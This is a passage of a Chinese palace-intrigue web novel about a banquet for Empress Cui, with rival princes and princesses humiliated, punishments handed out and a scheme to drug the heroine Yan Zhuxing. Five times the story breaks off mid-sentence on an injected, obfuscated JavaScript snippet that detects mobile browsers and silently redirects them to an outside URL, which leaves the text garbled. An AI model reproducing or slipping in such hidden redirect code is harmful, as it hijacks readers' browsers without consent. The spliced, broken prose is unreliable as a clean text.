这丫头究竟是真的傻还是扮猪吃老虎,从她身边要那么多眼线过去,自找苦吃?
“你能看得上他们,那是他们的福气。还不拜见令嘉县主。”太后嘴角含笑,将人赏给了晏逐星。
晏逐星见她答应,悄悄松了一口气。
永安王让她带走的人,她要到了。
长乐宫发生的事情,很快就传遍了整个后宫。
“皇后娘娘,令嘉县主领着京兆府郑大人去了长乐宫。”妙檀将长乐宫的消息打听到,第一时间告诉了皇后。
“哦?”崔皇后有些疑惑,一大早的怎么就报官了。
听完了整个来龙去脉,崔皇后忍不住笑了起来。
“本宫没看错她,是个聪明伶俐的孩子。”
笑过之后,脸色又变得凝重了起来。
不过是一个贺礼,就有人按捺不住了。
那待会儿宴会正式开始,还不知道有多少牛鬼蛇神要跳出来**情。
崔皇后冷冷道:“让宫里的人都给本宫打起精神来,不要闹出什么岔子。”
“是。”宫女们都紧张了起来。
未央宫上下一片忙碌。
晏逐星要到了人,太后便将她支走了。
“你既然为皇后生辰宴而来,你先去未央宫吧。哀家稍作休息,晚些时候再去。”
“臣女遵命。”晏逐星恭顺地应下。
太后盯着她的背影,气得咬紧了后槽牙。
她实在不想看到这扫把星了,更不想和她一块去未央宫,省得那些没眼色的人误会她是晏逐星的靠山。
皇帝说因为她喜欢晏逐星才特意封的县主已经把她怄**,再让晏逐星沾她的光,她是真怕朝华和福安到梦里跟她诉苦了。
晏逐星去到未央宫时,先去给崔皇后行礼。
崔皇后忙着见其他人,便让妙檀先将她领出去和同龄的公主们玩。
“好好照顾好令嘉县主,莫要让人欺负了她。”崔皇后郑重交代。
“是。”妙檀应下,将她领到了宴会花厅。
晏逐星一看,发现宫里几位未出嫁的公主都到了,嘉敏郡主也到了。
她一出现,她们的目光就齐刷刷地落到了她身上。
“令嘉见过八公主、九公主、十公主,见过嘉敏郡主。”晏逐星客客气气地行礼。
八公主谢娇和九公主谢妙对晏逐星一直不喜,因而并没有回应她的行礼,打算晾她一晾。
不曾想,十公主谢媞却笑着将她搀扶了起来。
“令嘉姐姐,上回皇后娘娘说要请你指点我练破阵舞,却因为你脚伤了耽误了,如今咱们可算见着了。”
“那是皇后娘娘抬爱,十公主本来就跳得很好,无需臣女来锦上添花。”晏逐星察觉到她的善意,语气也十分友善。
“哟,我怎么不知道你还会跳舞呢?真是多才多艺啊,令嘉妹妹。”嘉敏郡主也来凑趣。
“略懂一二,比不得郡主。”晏逐星浅浅一笑。
她俩对晏逐星的热情,反倒衬托得八公主和九公主有些倨傲了。
两人脸色顿时有些不好看。
“听说你如今搬去了京郊那个温泉山庄,住得如何,好玩么?”嘉敏郡主将她们当做空气,一味地和晏逐星闲聊。
晏逐星一一回应了她的问题。
嘉敏郡主得知她那比京城里凉快,当即嚷嚷着要去做客。
谢媞也跟着时不时搭话,反倒把谢娇和谢妙衬托得像局外人了。
谢娇气不过,转身就走了。
谢妙赶紧跟上。
嘉敏郡主见她们走了,挑眉一笑:“啧,还以为能坚持久一点呢。就这?”
晏逐星也忍不住笑了起来。
谢娇和谢妙打的应该是孤立她的主意吧,不曾想,却反被她们给孤立了。
嘉敏郡主瞥了一眼一旁的谢媞:“你不走?”
谢媞眨巴着眼睛:“嘉敏表姐要赶我走么?”
“我可没说。你愿意呆着就呆着吧,可别等我们走了,回头你被欺负了,没地哭可别赖我们。”嘉敏郡主意有所指。
谢媞像是听不懂,继续夹着面前的凉糕吃,只一味点头。
八皇姐和九皇姐话太多了,还整天说她不喜欢听的话,她不想卷到她们里面去。
还是和嘉敏郡主还有令嘉县主待在一起的好。
她俩不说皇后娘娘的坏话,安全!
等会吃够了她就去找母妃。
这时,后宫的妃嫔也陆陆续续到齐了。
宫女们急忙将各位贵人领到他们自己的坐席上。
晏逐星和嘉敏郡主坐一块。
衔蝉半跪在一旁伺候她,顺便低声给她讲解谁是谁。
“皇后座下的四妃,王贵妃、卢贤妃、郑德妃和杨淑妃。”
“王贵妃诞下了一个皇子一个公主,分别是景王谢明奕,三公主谢婳。”
“卢贤妃生下的是睿王谢允恪。”
“郑德妃生下的是五皇子谢承熙,尚未及冠,因而没有封王。五皇子腿有疾,您若是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944301|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在宫中瞧见了坐轮椅上的贵人,那就是他了。”
“四妃里只有淑妃娘娘没有诞下皇子,只生了一个六公主谢娆。”
……
这些名字,上辈子晏逐星也听过,但是要认脸还真有点认不清。
今日倒是让她认了个齐全。
众人依次落座后,便是献礼环节。
崔皇后端坐主位,笑容温婉,她再次温和地重申:“本宫今日生辰,一切以简朴为上,心意到了即可。”
文昭帝点了点头:“正是如此。”
打头阵的是太子夫妇。
太子妃双手捧着一只朴素的紫檀木匣,太子谢元宸在皇后面前恭敬打开。
匣中放着一卷墨色凝重的《金刚经》手抄本和一幅针法精妙的佛经绣品。
“母后,”太子朗声道,“许州大旱,黎民维艰。儿臣遵懿旨,俭省为要。此乃儿臣沐手恭抄的《金刚经》,为母后祈康寿;另有太子妃日夜虔绣的佛经一卷,焚香祷祝,祈佑灾消雨降。”
而后太子妃与太子一同开口:“儿臣恭贺母后,千秋万岁,松柏长青。”
“好孩子,有心了。”崔皇后笑意盈盈地命身边的大宫女收下了礼物。
他们送完了贺礼,便轮到了景王谢明奕。
众人望了过去,都想知道他会送什么,不会也是手抄佛经和刺绣吧?
只见景王谢明奕手捧一个粗陶小花瓶,里边插着几枝还带着露水的野花。
景王妃林婉知跟在一旁,抿着唇,脸涨得通红。
谢明奕却恍若不觉周遭异样的目光,朗声道:“恭贺母后生辰千岁!此乃儿臣今晨特意踏露亲至西山采撷的草木之花。”
“儿臣想着,母后心系黎民,定不愿见那些奢靡之物。此等山野草芥,正合母后体恤万民、与百姓共甘苦之心。愿母后如这野花一般,百折不挠,岁岁常青!”
文昭帝的眉头顿时皱了起来。
崔皇后脸上的笑意也淡了几分。
众人抿着唇,一言不发。
景王这番话明褒暗贬,说什么百折不挠,岁岁常青,实际上不就是暗讽皇后上不得台面,只配得上这些野花野草么。
唯有王贵妃和太后,还有谢明奕脸上都带着笑。
众人都替皇后捏了一把汗。
若是训斥景王,倒显得她嫌弃这山野之物,心胸狭隘,容不得这份“别致”的心意。
可若是不训斥,任由他以体恤之名行轻慢之实,皇后的威严又置于何地?
岂不是默认了自己只配得上这山野草芥,甘愿被他如此轻贱?
就在众人思索着是不是说点什么时,永安王谢翊宁就一步跃上前。
第220章 谎话圆回来
他劈手夺过景王手中的小花瓶,直接倒扣在了他的脑袋上。
满殿惊愕,发出一阵哗然。
花瓶里的残水哗啦一声,兜头浇了谢明奕满颈满脸都是。
几束沾着露水的野花狼狈地挂在他发冠上,枯萎的草叶紧贴着额头,湿漉漉地往下滴着水。
方才还得意扬扬的谢明奕瞬间成了只落了汤、沾了泥的呆头鹅。
他僵在当场,不可置信地看着谢翊宁。
景王妃吓了一跳,更是目瞪口呆,一句话都不敢说。
太后也看傻眼了。
没想到永安王这个混不吝的在亲娘寿宴上也敢**。
王贵妃见势不妙,立刻扑倒在文昭帝脚边,未语泪先流。
“皇上,您要给奕儿做主啊!!!”
“奕儿他一片赤诚孝心,天不亮就巴巴地跑去西山,就为了给皇后娘娘采这带着露水的新鲜花草!”
“他知晓皇后娘娘心系黎民,提倡节俭,这山野之物最是贴合娘娘的心意。他谨遵懿旨,何错之有?”
随即,她猛地转向永安王的方向,悲愤交加:“可永安王他为何要当众如此羞辱奕儿?奕儿不过是想尽一份心,照娘娘的意行事罢了。”
“难道在永安王眼里,皇后娘娘只该收那些金玉堆砌的贵重之物?这些心意就一文不值?”
“求父皇给儿臣做主啊!”景王也赶忙把脑袋上挂着的野花拽掉,扑通跪在地上求文昭帝做主。
景王妃也赶忙跟着跪下了。
一家三口跪倒在地,谢翊宁却一副嚣张跋扈的模样,任谁看了觉得是王贵妃一家倒霉,被欺负了。
崔皇后看着站出来的小儿子,心里既安慰又有些担忧。
景王毕竟是兄长,若是今日之事传出去,小儿子少不了又要被言官们上书抨击了。
谢翊宁不给文昭帝开口的机会,朗声看向谢明奕。
“别说什么心意不心意的,你今日早晨明明就没出过府,是你府中的管事去路边摘的野花,你这算不算欺君之罪?”
“你派人监视我???”谢明奕脱口而出。
谢翊宁怕王贵妃母子搞事情,他当然早早就派人去监视了景王府。
但他可不会承认。
“那是因为本王派人去玄空寺给母后祈福时,路过西山,看见了你王府的管事,可没看见你。”谢翊宁振振有词。
谢明奕:“……”
文昭帝听到这话,当即呵斥:“谢明奕,你好大的胆子,竟然敢欺瞒朕和皇后?!”
听到父皇直呼他的大名,谢明奕顿时冷汗直流。
他根本没想到谢翊宁会当场发难,所以压根没亲自出城去采花。
太后看着他这表情,还有什么不明白的。
蠢货。
做戏都不知道做全套。
她紧紧抿着唇,思索着接下来的计划。
王贵妃母子多半靠不住了,还得靠她自己。
文昭帝的呵斥并没有停下:“景王,回答朕!”
“永安所言,是真是假?!”
“你今日究竟有没有亲自去西山?!”
“你府中管事是否采花献礼?!”
“你方才所言踏露亲至,是实情?还是欺君罔上?!”
一连串的质问,字字诛心,谢明奕如遭雷击,眼里哪里还有半分之前的得意。
“启禀父皇,儿臣去了。若七弟说本王没去,空口无凭,你倒是拿出证据来啊。”谢明奕不敢承认自己先前在撒谎,只能硬着头皮否认。
他就不信了,他咬死不认,谢翊宁能把他怎么着。
“死到临头还敢欺骗父皇是吧?”谢翊宁冷笑。
“那我问你,你若去了,你可知道今日清晨西山下了一场雨?你还能冒雨采花?你打的伞是哪把伞?”
“我当然知道!下了一场小雨而已,不耽误本王采花。”谢明奕继续嘴硬。
“至于伞么,王府多了去,谁记得用的哪把伞。”
谢翊宁脸上的笑意更浓了。
谢明奕生出了一股不妙的预感。
下一刻,他就听到谢翊宁笑着开口:“启禀父皇母后,西山今日清晨并未下雨。”
谢明奕:“……”
王贵妃也被儿子蠢到了。
平日里读书识字骑马射箭样样都不错,怎么这点小事上竟然犯了懒,还被人抓个正着。
但眼下不是计较的时候,她脑中电光石火般一闪,抓住谢翊宁话语中的一个漏洞,当即开口:
“皇上明鉴!这京城西边,一远一近,有两座山都唤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953401|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作‘西山’!”
“那远的西山,离城数十里,山高林密,确是人迹罕至的荒僻之地。”
“可还有那近的西山呢?就在西郊皇家猎苑边上,虽也叫‘西山’,实则不过是片草木葱郁的缓坡,景色宜人,常有京中贵胄去踏青游玩,离景王府不过半个时辰的车程!”
王贵妃越说越有理,声音也越来越大:
“奕儿今晨天蒙蒙亮便起身,正是去了这近处的西山。为的是在晨露未干时,采撷最新鲜的花草献给皇后娘娘。他亲口对臣妾所言,岂能有假?”
她又迅速转向谢翊宁,语气带上了一丝质问和委屈:
“永安王殿下,天下管事衣着相似者何其多。近处西山本就常有贵人仆从往来,我儿堂堂亲王,派个管事先行探路或是协助采摘,又有何不可?怎能因此就断定我儿未曾亲至,还扣上欺君罔上的滔天大罪?!”
听到母妃的话,谢明奕仿佛抓住了救命稻草,跟着连连附和。
“正是如此。七弟说西山并未下雨,也只是你的人瞧见时并没有下雨。管家先行探路,本王稍后就到,那时下了一场**毛雨,难不成你的人今日一直呆在西山不成?”
“父皇,儿臣对天发誓,这花就是儿臣亲手摘回来的!若儿子撒谎,那就天打雷劈,一辈子无子。”
见景王把话说得那么重,殿内之人又有些动摇了。
难不成真是永安王的人看错了?
一旁的景王妃脸色煞白,低着头,一言不发。
眼见母子二人把这个谎话圆了回来。
太后这才开口,轻咳两声:“好了。一场误会罢了,怎么说都是孩子的一片孝心。皇后今日诞辰,你们在这吵吵闹闹像什么话。”
“皇后今日诞辰,本是喜庆的日子,你们在这大殿之上闹起来,针尖对麦芒的,岂不是毁了皇后的好日子。”
她语气温和,却带着一丝不易察觉的责备。
“永安啊,”太后看向谢翊宁,“你关心你母后,哀家心里是明白的。只是你先前竟然当众将花瓶扣在你二皇兄头上,成何体统?”
而后又看向文昭帝。
“皇上,若不惩戒永安,之后人人效仿,又将皇室颜面置于何地?”
第221章 王爷狂炫耀
她不说话还好,她一说话文昭帝的心就悬了起来。
小石头岂是任人欺负的。
果不其然,谢翊宁毫不心虚大声反驳:“皇祖母,是不是景王兄前些时日给你送了六百两的白玉观音,所以你站出来指责我,包庇他?!”
太后:“……”
景王:“……”
太后气得捏紧了手里的帕子:“你胡说什么呢,竟敢污蔑哀家?”
“那您到底有没有收到景王兄送的白玉观音嘛。”谢翊宁振振有词。
太后气急败坏道:“那是他的一片心意,哀家收了,但……”
谢翊宁不给她说完的机会,看向谢明奕:“景王兄,这一前一后才多久,你给皇祖母送贵重观音,给我母后送路边野花,你自己心里清楚,到底有多少分心意在里边。”
“我准备的当然都是心意,你呢,你准备了什么?”谢明奕忍不住脱口而出。
他可是打听过了,谢翊宁是空手来的!
他就不信了,没准备礼物的谢翊宁还有脸指责他。
谢翊宁就等着有人问呢。
没人问他怎么炫耀。
他骄傲地抬起下巴,朗声道:“本王以母后的名义,和太子哥哥一块凑了十万两白银买粮,送去了许州,救助许州百姓渡过难关。”
谢元宸没想到弟弟竟然把他也算上了,顿时有些不好意思。
他可是一分钱没出,小石头听说都卖了许多宝贝了。
他决定等会回东宫,就去库房扒拉扒拉看看有没有什么好东西,给永安王府送点去。
“十万两白银?”殿内再一次发出惊呼声。
天呐,他们很多人这一辈子都没见过十万两白银长什么样。
永安王竟然说捐出去就捐出去了,还是以皇后的名义?!
看来永安王虽性子顽劣,但却极其孝顺啊。
谢明奕没想到他竟然送了那么一份大礼,越发衬托得他先前送的礼物有多敷衍了。
他感觉脸上像是被人扇了一耳光,火辣辣的疼。
这时,文昭帝见状,赶忙开口:“永安孝心可嘉。”
他的目光中满是欣慰,转向太后道:“母后您看,永安此举不仅是为母尽孝,更是为国分忧,心系黎民,实乃天家典范。朕心甚慰。”
“即是如此,功过相抵,他先前闹的那桩小事就算了吧,等会儿朕就罚他半年俸禄,您看可好?”
太后:“……”
还罚俸禄?
都不知道扣到多少年之后了!
每次都罚俸禄,有用吗?!
王贵妃和谢明奕更是气得火冒三丈。
什么叫小事?
堂堂一个亲王当众受辱,皇上竟然说是小事。
那什么才是大事?
皇上这心偏得也真是没边了。
德妃、淑妃和贤妃笑而不语地看着狼狈的母子俩,眼里都是鄙夷。
谢明奕坐不住了,匆匆提出要去更衣离开了。
见太后还想说什么,文昭帝就瞥了谢翊宁一眼。
太后心头一梗。
她明白皇帝的意思了。
如果不见好就收,等会儿谢翊宁说不定还要做出更出格的事情。
太后只得咬紧后槽牙,挤出笑容:“皇上言之有理,那便罚俸半年吧。”
崔皇后淡淡一笑:“既是如此,本宫也就不计较景王殿前失仪了。”
“归根结底还是王贵妃这个当母亲的没有把孩子教好,皇上您说对吧?不如就禁足王贵妃三个月,罚俸半年,如何?”
王贵妃气炸了。
怎么还能有她的事。
正欲开口,就听到皇上答应得飞快:“嗯,就依皇后所言吧。”
“还有景
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953402|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王,既然这般推崇简朴,那便效仿太子吧,将景王府用度削减九成,待许州大旱结束后,再恢复从前。”
王贵妃差气得心口一阵阵地疼。
皇上这哪里是偏心,这分明是没把心放在他们母子身上。
王贵妃对皇后母子的恨意更深了。
她死死盯着崔皇后,在心底暗暗发誓:总有一天,她一定要将崔凝华从后位上给拉下来。
让她和她那两个儿子不得好死!
帝后二人并未注意到她的表情,他们不约而同地看向了谢翊宁。
生怕这位祖宗对这个惩罚不满,出来**。
还好还好,他安安静静地坐回了原位。
两人同时松了一口气。
但又生出了一丝疑惑,为何今日小石头这么好说话?
难不成是——
长大了?
懂得体会他们的不容易了?
这么一想,帝后两人还有些欣慰。
送礼还在继续。
有了谢翊宁那一份礼物,其他人送的都显得平平无奇了。
送礼结束,崔皇后刚想开口让大家随意些,九公主谢妙的声音就响了起来。
“咦?怎么没见令嘉县主送礼物啊?该不会是没准备吧?”
在场的人看向谢妙的表情顿时都有些微妙。
令嘉县主领着京兆府官员去长乐宫的事情已经传开了。
很多人都知道她给皇后娘娘准备的贺寿礼是条五彩斑斓的鱼,被太后赏的老嬷嬷给害**。
如今她人都没出宫,哪里来得及准备第二份礼物。
九公主这一开口,分明就是故意让这位令嘉县主难堪啊。
也不知道这位令嘉县主哪里得罪了她。
嘉敏郡主听到这话,慢悠悠地扇了扇扇子,笑着看向晏逐星。
“我猜,你肯定有后手吧?”
第222章 打脸九公主
晏逐星微微一笑,不置可否。
见晏逐星一直不吭声,八公主谢娇轻轻敲了敲桌子。
九公主谢妙接收到她的暗示,故意抬着下巴追问道:“令嘉县主怎么不说话?是不是没准备礼物,不好意思了呀?”
而后,她不等晏逐星开口,露出一副恍然大悟的表情。
“哎呀呀!该不会是真忘了吧?瞧我这记性,差点忘了你刚被封为县主不久,这宫里的规矩多,你不太懂也正常。”
她摆出一副贴心的模样。
“不过呢,今天可是母后的大日子,空着手总归是不太好看。要不本公主替你想想办法?”
她扭头看向四周,询问道:
“哪位姐姐妹妹带了多余的体面些的小玩意儿,先借给令嘉县主应应急呗。虽说临时借来的心意是假了点,但总比两手空空强,你说是不是?”
她说完还掩嘴轻笑了一声,目光挑衅地看向晏逐星。
停云瞧见这一幕,皱起了眉头,压低声音道:“王爷,您不替县主辩解几句么,九公主这也太欺负人了。”
从前他觉得晏逐星百般不好,但自打一起“杀了几次人”之后,他对晏逐星现在是只有敬佩。
谁羞辱晏逐星,他现在就恨不得上去拉袖子上去替她反驳。
见晏逐星和王爷都不说话,他比他们俩还着急。
根本容忍不了半点。
不曾想,向来维护晏逐星的王爷却只是淡定地倒酒,自饮自酌。
“没事,这点小事她能搞定。母后也能搞定。”
这个场合,他可以替母后出头,但小恩人那里,还是母后出面最合适。
果不其然,谢妙刻薄的话音刚落,崔皇后脸上的笑意瞬间消失无踪。
她并未看向晏逐星,也未理得意洋洋的谢妙,而是猛地将手中的茶盏重重顿在案几上,发出“砰”的一声脆响,震得殿内瞬间鸦雀无声。
“苏昭仪!”
这一声厉喝,吓得苏昭仪一僵,慌忙离席跪倒在地:“臣妾在,娘娘息怒。”
崔皇后指着她劈头盖脸的就是一顿斥责:“你就是这么教的孩子?!孩子养在你那朝阳宫,竟然养成了这副模样。”
“难不成,你看她非你亲生骨肉,便存了怠慢之心,故意纵着她往歪门邪道上走,好毁了她的前程?!”
殿内众人噤若寒蝉,谁也没想到皇后会为了一个新晋的县主发如此大的火,还直接训斥了养育两位公主的苏昭仪。
更没想到,皇后娘娘竟然不顾九公主的面子,将她的身世抖落出来。
听到九公主的身世,文昭帝也沉下了脸。
他又想起了那不堪回首的往事。
林嫔为了怀上龙子争宠,竟然给他堂堂帝王下药。
他发现不对立刻命人去请太医,结果药效发作太快,他意乱神迷之际,错将身旁的宫女当做妃嫔,宠幸了她。
这才有了谢妙。
至于林嫔,次日就被杖毙了。也正因为此事,后宫得以消停了一段时间。
那个宫女,说到底也是无辜之人,他便将她抬成了美人。
只可惜是个福薄的,生下谢妙后便撒手人寰。
皇后心善命苏昭仪一块教养她。
谁曾想,竟教成了这个模样。
文昭帝看着谢妙,心底涌上一股燥意。
苏昭仪听到皇后这话,吓得脸色煞白,赶忙跪地辩解:“娘娘明鉴!臣妾冤枉!臣妾纵有天大的胆子也不敢啊!”
“臣妾对八公主和九公主,从来都是一视同仁,不敢有半分偏私。吃穿用度、教养嬷嬷、开蒙师傅,哪一样不是比照着来?娘娘您也是看着的呀!”
她像是抓住救命稻草,指向一旁的八公主谢娇。
“您瞧八公主。八公主素来知书达理,言行举止不曾有过半分差错。同是养在臣妾宫里,由臣妾亲自教导,为何偏偏九公主就……”
她哽咽着,似乎百思不得其解,又带着无尽委屈。
“许是她的性子随了、随了她那早去的生母……”
谢妙被皇后突如其来的愤怒吓懵了,脸色煞白,方才的得意和刻薄消失得无影无踪,只剩下惊恐。
此刻听到苏昭仪扯出她生母的事情,只觉得脑袋一片空白。
她下意识地看向了一旁的八公主谢娇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953403|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,眼里带着求救和一丝哀怨。
她都是按照八皇姐说的做的啊。
不曾想,谢娇看都没看她一眼,扑通跪在了苏昭仪身边,眼中含泪:“父皇母后息怒。”
“九皇妹今日之过,实非母妃教养之失。”
“母妃待九皇妹向来视如己出,为她呕心沥血,宫中上下有目共睹。”
“奈何九皇妹天性稍显跳脱,一时行差踏错,连累母妃受此无妄之灾,儿臣心中实在不忍。”
“恳请父皇母后明鉴,母妃教导从未懈怠。儿臣斗胆,愿亲自督导九皇妹于禁足中静思己过,勤**宫规,必使她痛改前非。”
谢妙只觉得耳朵嗡嗡作响。
她僵硬着站在原地,还是被谢娇一个拉扯,让她跪下,她才回过神来。
她想要辩解说刚刚都是八皇姐让她干的,但看到帝后不耐烦的表情,她知道自己说了也没用。
她扭头和谢娇对视了一眼,看到对方眼里的警告,谢妙打了个寒噤。
她垂下脑袋,闭上了眼睛,眼泪在眼里打转,但她却不敢哭出声。
她在心底默默哭泣:要是她的生母不是宫女就好了,要是她是皇后娘娘生的就好了。
坐在上首的帝后都很心烦。
不过是一场生辰宴罢了,怎么那么多跳梁小丑出来找事。
崔皇后冷冷下令:“来人,九公主谢妙,言行无状,失仪失德,冲撞寿宴。即日起禁足朝阳宫偏殿,抄写《宫廷内训》一百遍,未抄完之前,不得踏出宫门半步。苏昭仪教养失职,罚俸半年,闭门思过一月。”
苏昭仪恨恨地看了谢妙一眼。
这该死的养不熟的小白眼狼,不能帮她固宠就算了,竟然还连累她当众丢人。
回了朝阳宫,她一定要让这死丫头好看!
但她哪里敢反驳皇后,只得委委屈屈地应了一声:“臣妾谢皇后娘娘恩典。”
在两人即将被请走之前,崔皇后扫了在场所有人一眼。
“既然诸位这么好奇令嘉县主给本宫送了什么贺礼,那便睁开眼好好看看吧。”
“这殿内,处处都是她送的礼物。”
第223章 算盘落了空
一句话把在场的人都惊呆了。
什么叫在场处处都是晏逐星送的东西?
她有那么能耐么。
晏逐星这才笑着起身接话:“皇后娘娘您就别打趣臣女了。臣女不过是送了些冰给您罢了。”
众人这才意识到,殿角那些散发着寒气的冰盆竟然是晏逐星送的?
今年天气热得邪乎,才五月光景便酷暑难当。
偏偏许州大旱,朝廷上下厉行节俭,宫中用度一减再减。
屋里虽比外头好些,却也闷热得令人心浮气躁。
先前踏入皇后殿内,他们便觉得这比外头凉快了不少,定睛细看,才发觉殿中错落有致地摆放着数个硕大的冰盆。
冰块堆叠如山,宫人手持长柄羽扇,不疾不徐地将那冰盆散发出来的冷气轻轻扇动。
他们还以为是皇上偏宠皇后,所以将宫中大部分冰都拨到了未央宫。
不曾想,竟是晏逐星送来的。
如今天气愈发炎热,众人府中存冰消耗极快,现在出府采买,往年二两银子的冰如今已经涨到了三两银子一方,接下来恐怕还会继续涨。
晏逐星这一出手就给皇后娘娘送了那么多冰,得花了多少银子啊?
“你这孩子,什么叫送了些冰罢了。若没你送来的冰,恐怕今日这宴会上人人都要汗流浃背了。”崔皇后冲晏逐星招了招手。
“今日除了永安和太子送的礼物,就属你送的礼最得本宫的心意。”
崔皇后说着,从腕上褪下一只通体莹润、触手生凉的羊脂白玉镯,亲手戴在了晏逐星手上。
“这镯子你戴着,也算应了这消暑的景。”
“谢皇后娘娘恩赐。”晏逐星没有推拒,恭恭敬敬地行礼,姿态让人挑不出一丝错处。
宴会继续。
王贵妃看着旁人言笑晏晏的模样,总觉得他们在笑话她。
她现在脑袋一片空白。
原本想借着许州大旱,宣扬皇后宴席奢靡,毁了她的名声。
没想到永安王竟然早早以皇后的名义捐了十万两的粮。
刚刚还想着让人对皇后发难,宫中妃嫔用度削减那么厉害,皇后竟然一人就用那么多冰,压根没有以身作则,根本就不配当一国之母。
不曾想,那些冰竟然是晏逐星送的。
她一肚子的算盘落了空。
儿子还被当众羞辱。
今日真是赔了夫人又折兵。
太后轻咳两声看向她,王贵妃猛地反应了过来,该对晏逐星动手了。
如果说之前想陷害晏逐星是为了讨好太后,如今她倒是真的想出一口恶气了。
永安王她动不得,这个给皇后长脸的民间野丫头她还动不得么。
她冲太后微不可察地点了点头,表示一切已经安排妥当。
太后眉心微拧,总觉得有些不安。
王贵妃母子真的能把这事办好么?
不过办不好的话,她还有后招,不急,且再看看。
晏逐星此刻正被嘉敏郡主拉着说话:“你哪来的那么多冰块?”
“当初听干娘说今年夏日可能会很热,我这个人最怕热了,所以趁着当时定远侯对我心有亏欠,说服他多给我囤了点冰。”晏逐星一本正经地胡说八道。
“你倒真是聪明。”嘉敏郡主看向她的眼神又多了几分赞赏。
“不过冬日囤冰至今损耗太大,要是自己能制冰就好了。”
两人闲聊着,一个小宫女过来给她们添酒,不曾想却一个动作不小心,将酒撒到了晏逐星的裙摆上。
“县主饶命,奴婢不是故意的。”小宫女当即跪下,满脸惊慌。
先前寿宴上才闹了两出大戏,晏逐星不想再让自己成为人群中的焦点。
她淡淡道:“行了,你退下吧。”
小宫女千恩万谢地离开了。
晏逐星给了衔蝉一个眼神,衔蝉当即会意,快步跑去找了未央宫的大宫女妙檀,将此事告知了她。
妙檀当即意识到了不对。
今日
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953404|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嬷嬷可是千叮咛万嘱咐过的,一定要小心谨慎。
令嘉县主那边派的可是经验老道的宫女,怎么会犯这样的小错误。
她示意衔蝉不要声张,自己命人悄悄将那宫女给扣下了。
晏逐星带上九栀,跟着宫女去偏殿更衣。
“县主更衣,奴婢在外边等您。”
说完就关上门,老老实实地守在了外边,看起来一切如常。
晏逐星总感觉空气里有一股若有似无的甜腻香气,有些熟悉。
她猛地反应了过来。
“九栀,屏吸!”
晏逐星压低声音,语速急促。
“屋里有问题,点了不干净的熏香。”
九栀迅速锁定了香炉的位置,一个箭步冲到香炉旁,毫不犹豫地掀开炉盖,抓起旁边备着的凉水便狠狠浇了下去。
又是这种下作手段?
晏逐星心中冷笑,这些害人的把戏,她们就翻不出点新花样?
“县主,没事了。”九栀松了一口气。
幸好她们闻过这个味道。
九栀在心中感慨。
县主之前特意寻了各种有催情或者致人晕厥效用的药物和熏香,亲自领着她们反复少量接触、辨识其气味药性。
为的就是下次遇上时能第一时间反应过来。
往日里看似在做无用功的举动,今日派上了用场。
今日这香,她们之前闻过,吸入之后很快就会让人失去意识。如果先前还饮了酒,药效发作会更快。
“趴下。”晏逐星将计就计,直接躺到了地上,想看看究竟是谁要对她下手。
没过多久,外边传来了先前带路宫女的声音:“县主?您好了吗?”
晏逐星和九栀一声不吭。
那宫女屏着呼吸,小心翼翼地推开偏殿的门缝,向内窥探。
只见晏逐星主仆二人一动不动地倒在地上,似乎已经中招。
宫女紧绷的心弦骤然一松,脸上抑制不住地露出一丝得手的喜色——成了!
第224章 一样不要脸
她正欲去通风报信,将她们安排好的“奸夫”带来。
